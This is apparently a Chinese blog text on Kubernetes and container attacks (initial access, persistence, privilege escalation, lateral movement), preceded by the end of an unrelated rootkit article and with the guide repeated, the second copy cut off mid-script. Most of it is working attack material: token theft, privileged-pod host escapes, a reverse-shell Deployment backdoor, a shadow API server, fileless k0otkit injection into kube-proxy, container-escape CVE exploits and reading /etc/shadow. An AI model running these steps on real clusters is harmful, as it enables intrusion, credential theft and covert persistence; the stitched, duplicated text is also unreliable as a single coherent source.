技术不分好坏，只是看被谁利用，在攻击方利用Rootkit谋坏事之际，防守方也可以利用 Rootkit 发现攻击方的蛛丝马迹。
发现 Rootkit 植入后的异常，往往实时地处置异常，不是第一考虑的要素，因为目标设备存在Rootkit ，通常表明可能正在被一个准备充分的高水平APT组织发起的有针对性的攻击。一旦成为 APT 的目标，“他们”会继续回来，达到最终目的。
此时，安全分析师介入调查并取证溯源是最为重要的，定位数据泄漏范围以及攻击者信息，保护重要业务数据不再泄漏。
悬顶的达摩克里斯之剑还未真正落下，在 Rootkit 领域的攻防对抗中，就是较量攻防双方谁更了解操作系统，谁掌握的更深，谁就更占据优势。相信未来 Rootkit 技术还会向更加深远的领域不断前进。
To be continued ……
参考链接
1.https://download.bitdefender.com/resources/files/News/CaseStudies/study/253/Bitdefender-Whitepaper-RootKit-CREAT3432-en-EN.pdf
2.http://phrack.org/issues/55/5.html
3.https://nakedsecurity.sophos.com/2012/06/06/zeroaccess-Rootkit-usermode/
4.https://securelist.com/operation-tunnelsnake-and-moriya-Rootkit/101831/
5.https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/
6.https://securityintelligence.com/news/dirtymoe-botnet-returns-undetectable-threat-profile/
7.https://mp.weixin.qq.com/s/Rp-QIaLp_6gitUor2IIcAQ
8.https://attack.mitre.org/software/S0143/
9.https://securelist.com/faq-the-projectsauron-apt/75533/
10.https://www.kaspersky.com.cn/about/press-releases/2021_operation-tunnelsnake-formerly-unknown-rootkit-used-to-secretly-control-networks-of-organizations-in-asia-and-africa-cn
11.https://securelist.com/operation-tunnelsnake-and-moriya-Rootkit/101831/
12.https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/
13.https://www.ptsecurity.com/ww-en/analytics/Rootkits-evolution-and-detection-methods/
随着越来越多企业开始上云的步伐，在攻防演练中常常碰到云相关的场景，例如：公有云、私有云、混合云、虚拟化集群等。以往渗透路径是「外网突破 -> 提权 -> 权限维持 -> 信息收集 -> 横向移动 -> 循环收集信息」，直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局，也打开了新的入侵路径，例如：
l通过虚拟机攻击云管理平台，利用管理平台控制所有机器
l通过容器进行逃逸，从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
l利用KVM-QEMU/执行逃逸获取宿主机，进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多，仅有一些厂商发布过相关矩阵技术，但没有过多的细节展示，本文基于微软发布的Kubernetes威胁矩阵进行扩展，介绍相关的具体攻击方法。
红色标志是攻击者最为关注的技术点。
初始访问
lAPI Server未授权访问
lkubelet未授权访问
lDocker Daemon 公网暴露
lK8s configfile 泄露
API Server未授权访问
API Server作为K8s集群的管理入口，通常使用 8080 和 6443 端口，其中 8080 端口无需认证，6443 端口需要认证且有TLS 保护。如果开发者使用 8080 端口，并将其暴露在公网上，攻击者就可以通过该端口的API，直接对集群下发指令。
另一种场景是运维人员配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
#创建特权容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
#执行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami创建特权容器详细解释：
创建特权容器
K8s configfile 泄露
K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息（API Server、登录凭证）。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github 的代码等)，就可以直接通过 API Server 接管 K8s 集群，带来风险隐患。
用户凭证保存在 kubeconfig 文件中，kubectl 通过以下顺序来找到 kubeconfig 文件：
1. 如果提供了--kubeconfig参数，就使用提供的 kubeconfig 文件。
2. 如果没有提供--kubeconfig 参数，但设置了环境变量 $KUBECONFIG，则使用该环境变量提供的 kubeconfig 文件。
3. 如果以上两种情况都没有，kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。
拿到K8s configfile完整利用流程：
K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项，需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
#进入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true
#切换bash，逃逸成功
cd /host
chroot ./ bashDocker Daemon 公网暴露
Docker以C/S模式工作，其中docker daemon服务在后台运行，负责管理容器的创建、运行和停止操作。
在Linux主机上，docker daemon监听在/var/run/docker.sock中创建的unix socket，2375端口用于未认证的HTTP通信，2376用于可信HTTPS通信。
在最初版本安装Docker时默认会把2375端口对外开放，目前默认只允许本地访问。
管理员开启远程访问的配置如下：
#开启远程访问 vim /lib/systemd/system/docker.service ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock
Docker Daemon未授权访问的检测与利用：
#探测是否访问未授权访问 curl http://192.168.238.129:2375/info docker -H tcp://192.168.238.129:2375 info #推荐使用这种方式，操作方便。 export DOCKER_HOST="tcp://192.168.238.129:2375"
Docker Daemon未授权实战案例：
执行
l利用Service Account
nCURL方式请求
nkubectl方式请求
利用Service Account
K8s集群创建的Pod中，容器内部默认携带K8s Service Account的认证凭据，路径为：(/run/secrets/kubernetes.io/serviceaccount/token)
如运维配置不当没有设置RBAC（基于角色的访问控制）,那么攻击者就可以通过Pod获取到Token进行API Server认证。
在较低版本v1.15.11中,Kubernetes默认是不会开启RBAC控制，从1.16版本起，默认启用RBAC访问控制策略。从1.18开始，RBAC已作为稳定的功能。
下面就是利用Pod中的Token访问API Server的一种场景：
#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
#写入yaml,创建特权Pod
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
#创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
#查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/default/pods/nginx
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true持久化
lDaemonSets、Deployments
lShadow API
lRootkit
lcronjob持久化
Deployment
创建容器时，通过启用DaemonSets、Deployments，可以使容器和子容器即使被清理掉了也可以恢复，攻击者经常利用这个特性进行持久化，涉及的概念有：
l ReplicationController（RC）
ReplicationController确保在任何时候都有特定数量的 Pod 副本处于运行状态。
l Replication Set（RS）
Replication Set简称RS，官方已经推荐我们使用RS和Deployment来代替RC了，实际上RS和RC的功能基本一致，目前唯一的一个区别就是RC只支持基于等式的selector
l Deployment
主要职责和RC一样，的都是保证Pod的数量和健康，二者大部分功能都是完全一致的，可以看成是一个升级版的RC控制器
官方组件kube-dns、kube-proxy也都是使用的Deployment来管理
这里使用Deployment来部署后门
#dep.yaml apiVersion: apps/v1 kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态 metadata: name: nginx-deploy labels: k8s-app: nginx-demo spec: replicas: 3 #指定Pod副本数量 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: hostNetwork: true hostPID: true containers: - name: nginx image: nginx:1.7.9 imagePullPolicy: IfNotPresent command: ["bash"] #反弹Shell args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"] securityContext: privileged: true #特权模式 volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / type: Directory #创建 kubectl create -f dep.yaml
Shadow API Server
如果部署了一个shadow api server，那么该api server具有和集群中现在的api server一致的功能。同时开启了全部k8s权限，接受匿名请求且不保存审计日志，这将方便攻击者无痕迹的管理整个集群以及进行后续渗透行动。
Shadow API Server的配置与利用：
配置文件路径： /etc/systemd/system/kube-apiserver-test.service #一键部署Shadow apiserver ./cdk run k8s-shadow-apiserver default #一键部署将在配置文件中添加了如下选项： --allow-privileged --insecure-port=9443 --insecure-bind-address=0.0.0.0 --secure-port=9444 --anonymous-auth=true --authorization-mode=AlwaysAllow #kcurl访问与利用 ./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
Rootkit
这里介绍一个k8s的rootkit，k0otkit 是一种通用的后渗透技术，可用于对 Kubernetes 集群的渗透。使用 k0otkit，您可以以快速、隐蔽和连续的方式（反向 shell）操作目标 Kubernetes 集群中的所有节点。
K0otkit使用到的技术：
lDaemonSet和Secret资源（快速持续反弹、资源分离）
lkube-proxy镜像（就地取材）
l动态容器注入（高隐蔽性）
lMeterpreter（流量加密）
l无文件攻击（高隐蔽性）
#生成k0otkit
./pre_exp.sh
#监听
./handle_multi_reverse_shell.sh
k0otkit.sh的内容复制到master执行：
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl --kubeconfig /root/.kube/config replace -f -cronjob持久化
CronJob 用于执行周期性的动作，例如备份、报告生成等，攻击者可以利用此功能持久化。
apiVersion: batch/v1 kind: CronJob #使用CronJob对象 metadata: name: hello spec: schedule: "*/1 * * * *" #每分钟执行一次 jobTemplate: spec: template: spec: containers: - name: hello image: busybox imagePullPolicy: IfNotPresent command: - /bin/sh - -c - #反弹Shell或者木马 restartPolicy: OnFailure
权限提升
l特权容器逃逸
lDocker漏洞
lLinux Capabilities逃逸
特权容器逃逸
当容器启动加上--privileged选项时，容器可以访问宿主机上所有设备。
而K8s配置文件启用了privileged: true:
spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true
实战案例：
通过漏洞获取WebShell，查看根目录存在.dockerenv，可通过fdisk -l查看磁盘目录，进行挂载目录逃逸:
#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
Docker漏洞
这里介绍两个知名的docker逃逸漏洞。
CVE-2020-15257
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本，使用了--host网络模式，会造成containerd-shim API暴露，通过调用API功能实现逃逸。
Host模式特点：
l共享宿主机网络
l网络性能无损耗
l各容器网络无隔离
l网络资源无法分别统计
l端口管理困难
l不支持端口映射
#判断是否使用host模式 cat /proc/net/unix | grep 'containerd-shim'
#反弹宿主机的shell到远端服务器 ./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455
CVE-2019-5736
当runc动态编译时，会从容器镜像中载入动态链接库，导致加载恶意动态库；当打开/prco/self/exe即runc时，会执行恶意动态链接库中的恶意程序，由于恶意程序继承runc打开的文件句柄，可以通过该文件句柄替换host上的runc。
此后，再次执行runc相关的命令，则会产生逃逸。
版本漏洞：
docker version <=18.09.2
RunC version <=1.0-rc6
利用过程：
#下载POC https://github.com/Frichetten/CVE-2019-5736-PoC #编译 CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go 利用成功是将/etc/shadow文件复制到/tmp/目录下 #将编译的main复制到docker容器中，实战是用WebShell上传 docker cp main name:/home cd /home/ chmod 777 main ./main #此时等管理员进入容器将触发：
或将第 16 行改为反弹 Shell ，获得宿主机权限。
Capabilities
Capabilities是Linux一种安全机制，是在Linux内核2.2之后引入的，主要作用是权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。
目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities，再以白名单方式赋予容器运行所需的最小权限。
#查看Capabilities cat /proc/self/status | grep CapEff capsh --print Capabilities允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等 lcap_sys_ptrace-container lcap_sys_admin-container lcap_dac_read_search-container 实际场景不多，逃逸方法参考挂载目录方式。
探测
l 内网扫描
l K8s常用端口探测
l 集群内部网络
集群内网扫描
Kubernetes的网络中存在4种主要类型的通信
n同一Pod内的容器间通信
n各Pod彼此间通信
nPod与Service间的通信
n集群外部的流量与Service间的通信。
所以和常规内网渗透无区别，nmap、masscan等扫描
K8s常用端口探测
集群内部网络
lFlannel网络插件默认使用10.244.0.0/16网络
lCalico默认使用192.168.0.0/16网络
横向移动
l污点(Taint)横向渗透
污点(Taint)横向渗透
污点是K8s高级调度的特性，用于限制哪些Pod可以被调度到某一个节点。一般主节点包含一个污点，这个污点是阻止Pod调度到主节点上面，除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是系统级别的Pod，例如kube-system
—个pod只有容忍了节点的污点，才能被调度到该节点上面
#Node中查看节点信息 [[email protected] ~]# kubectl get nodes NAME STATUS ROLES AGE VERSION 192.168.238.129 Ready,SchedulingDisabled master 30d v1.21.0 192.168.238.130 Ready,SchedulingDisabled master 30d v1.21.0 192.168.238.131 Ready node 30d v1.21.0 192.168.238.132 Ready node 30d v1.21.0 #确认Master节点的容忍度 [[email protected] ~]# kubectl describe nodes 192.168.238.130 Name: 192.168.238.130 Roles: master Labels: beta.kubernetes.io/arch=amd64 beta.kubernetes.io/os=linux kubernetes.io/arch=amd64 kubernetes.io/hostname=192.168.238.130 kubernetes.io/os=linux kubernetes.io/role=master Annotations: flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"} flannel.alpha.coreos.com/backend-type: vxlan flannel.alpha.coreos.com/kube-subnet-manager: true flannel.alpha.coreos.com/public-ip: 192.168.238.130 node.alpha.kubernetes.io/ttl: 0 volumes.kubernetes.io/controller-managed-attach-detach: true CreationTimestamp: Tue, 14 Sep 2021 17:41:30 +0800 Taints: node.kubernetes.io/unschedulable:NoSchedule #创建带有容忍参数的Pod kubectl create -f control-master.yaml #control-master.yaml内容： apiVersion: v1 kind: Pod metadata: name: control-master-15 spec: tolerations: - key: node.kubernetes.io/unschedulable operator: Exists effect: NoSchedule containers: - name: control-master-15 image: ubuntu:18.04 command: ["/bin/sleep", "3650d"] volumeMounts: - name: master mountPath: /master volumes: - name: master hostPath: path: / type: Directory
#获得Master控制端 kubectl exec control-master-15 -it bash chroot /master bash cat /etc/shadow
结论
Ø目前黑产团伙通过批量扫描然后利用未授权进行挖矿。
Ø当前攻防技术处于初级阶段，但随着云原生攻击武器的发展，攻击门槛也会相应降低。
Ø虚拟机/容器逃逸攻击、供应链攻击等新型技术攻击方式，将会呈现出快速增长的趋势，此类攻击难度很高，带来的危害和影响也很大。
Ø私有云部署在企业业务生产网，云的底座网络、物理设备与业务网络在同一安全域，大多时候缺乏有效隔离。
Ø私有云产品属于定制开发，使用大量第三方组件，会随着时间和安全研究人员的研究而暴露。
参考链接：
1. TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like Attack
2. Threat matrix for Kubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
3. Kubernetes Attack Surface
https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface
4. Attack methods and defenses on Kubernetes
https://dione.lib.unipi.gr/xmlui/handle/unipi/12888
5. k0otkit
https://github.com/Metarget/k0otkit
6. CVE-2019-5736-Poc
https://github.com/Frichetten/CVE-2019-5736-PoC
7. 修复Docker操作系统命令注入漏洞公告（CVE-2019-5736）
https://support.huaweicloud.com/bulletin-cce/cce_bulletin_0015.html
随着越来越多企业开始上云的步伐，在攻防演练中常常碰到云相关的场景，例如：公有云、私有云、混合云、虚拟化集群等。以往渗透路径是「外网突破 -> 提权 -> 权限维持 -> 信息收集 -> 横向移动 -> 循环收集信息」，直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局，也打开了新的入侵路径，例如：
l通过虚拟机攻击云管理平台，利用管理平台控制所有机器
l通过容器进行逃逸，从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
l利用KVM-QEMU/执行逃逸获取宿主机，进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多，仅有一些厂商发布过相关矩阵技术，但没有过多的细节展示，本文基于微软发布的Kubernetes威胁矩阵进行扩展，介绍相关的具体攻击方法。
红色标志是攻击者最为关注的技术点。
初始访问
lAPI Server未授权访问
lkubelet未授权访问
lDocker Daemon 公网暴露
lK8s configfile 泄露
API Server未授权访问
API Server作为K8s集群的管理入口，通常使用 8080 和 6443 端口，其中 8080 端口无需认证，6443 端口需要认证且有TLS 保护。如果开发者使用 8080 端口，并将其暴露在公网上，攻击者就可以通过该端口的API，直接对集群下发指令。
另一种场景是运维人员配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
#创建特权容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
#执行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami创建特权容器详细解释：
创建特权容器
K8s configfile 泄露
K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息（API Server、登录凭证）。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github 的代码等)，就可以直接通过 API Server 接管 K8s 集群，带来风险隐患。
用户凭证保存在 kubeconfig 文件中，kubectl 通过以下顺序来找到 kubeconfig 文件：
1. 如果提供了--kubeconfig参数，就使用提供的 kubeconfig 文件。
2. 如果没有提供--kubeconfig 参数，但设置了环境变量 $KUBECONFIG，则使用该环境变量提供的 kubeconfig 文件。
3. 如果以上两种情况都没有，kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。
拿到K8s configfile完整利用流程：
K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项，需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
#进入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true
#切换bash，逃逸成功
cd /host
chroot ./ bashDocker Daemon 公网暴露
Docker以C/S模式工作，其中docker daemon服务在后台运行，负责管理容器的创建、运行和停止操作。
在Linux主机上，docker daemon监听在/var/run/docker.sock中创建的unix socket，2375端口用于未认证的HTTP通信，2376用于可信HTTPS通信。
在最初版本安装Docker时默认会把2375端口对外开放，目前默认只允许本地访问。
管理员开启远程访问的配置如下：
#开启远程访问 vim /lib/systemd/system/docker.service ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock
Docker Daemon未授权访问的检测与利用：
#探测是否访问未授权访问 curl http://192.168.238.129:2375/info docker -H tcp://192.168.238.129:2375 info #推荐使用这种方式，操作方便。 export DOCKER_HOST="tcp://192.168.238.129:2375"
Docker Daemon未授权实战案例：
执行
l利用Service Account
nCURL方式请求
nkubectl方式请求
利用Service Account
K8s集群创建的Pod中，容器内部默认携带K8s Service Account的认证凭据，路径为：(/run/secrets/kubernetes.io/serviceaccount/token)
如运维配置不当没有设置RBAC（基于角色的访问控制）,那么攻击者就可以通过Pod获取到Token进行API Server认证。
在较低版本v1.15.11中,Kubernetes默认是不会开启RBAC控制，从1.16版本起，默认启用RBAC访问控制策略。从1.18开始，RBAC已作为稳定的功能。
下面就是利用Pod中的Token访问API Server的一种场景：
#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
#写入yaml,创建特权Pod
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
#创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
#查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/default/pods/nginx
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true持久化
lDaemonSets、Deployments
lShadow API
lRootkit
lcronjob持久化
Deployment
创建容器时，通过启用DaemonSets、Deployments，可以使容器和子容器即使被清理掉了也可以恢复，攻击者经常利用这个特性进行持久化，涉及的概念有：
l ReplicationController（RC）
ReplicationController确保在任何时候都有特定数量的 Pod 副本处于运行状态。
l Replication Set（RS）
Replication Set简称RS，官方已经推荐我们使用RS和Deployment来代替RC了，实际上RS和RC的功能基本一致，目前唯一的一个区别就是RC只支持基于等式的selector
l Deployment
主要职责和RC一样，的都是保证Pod的数量和健康，二者大部分功能都是完全一致的，可以看成是一个升级版的RC控制器
官方组件kube-dns、kube-proxy也都是使用的Deployment来管理
这里使用Deployment来部署后门
#dep.yaml apiVersion: apps/v1 kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态 metadata: name: nginx-deploy labels: k8s-app: nginx-demo spec: replicas: 3 #指定Pod副本数量 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: hostNetwork: true hostPID: true containers: - name: nginx image: nginx:1.7.9 imagePullPolicy: IfNotPresent command: ["bash"] #反弹Shell args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"] securityContext: privileged: true #特权模式 volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / type: Directory #创建 kubectl create -f dep.yaml
Shadow API Server
如果部署了一个shadow api server，那么该api server具有和集群中现在的api server一致的功能。同时开启了全部k8s权限，接受匿名请求且不保存审计日志，这将方便攻击者无痕迹的管理整个集群以及进行后续渗透行动。
Shadow API Server的配置与利用：
配置文件路径： /etc/systemd/system/kube-apiserver-test.service #一键部署Shadow apiserver ./cdk run k8s-shadow-apiserver default #一键部署将在配置文件中添加了如下选项： --allow-privileged --insecure-port=9443 --insecure-bind-address=0.0.0.0 --secure-port=9444 --anonymous-auth=true --authorization-mode=AlwaysAllow #kcurl访问与利用 ./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
Rootkit
这里介绍一个k8s的rootkit，k0otkit 是一种通用的后渗透技术，可用于对 Kubernetes 集群的渗透。使用 k0otkit，您可以以快速、隐蔽和连续的方式（反向 shell）操作目标 Kubernetes 集群中的所有节点。
K0otkit使用到的技术：
lDaemonSet和Secret资源（快速持续反弹、资源分离）
lkube-proxy镜像（就地取材）
l动态容器注入（高隐蔽性）
lMeterpreter（流量加密）
l无文件攻击（高隐蔽性）
#生成k0otkit
./pre_exp.sh
#监听
./handle_multi_reverse_shell.sh
k0otkit.sh的内容复制到master执行：
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
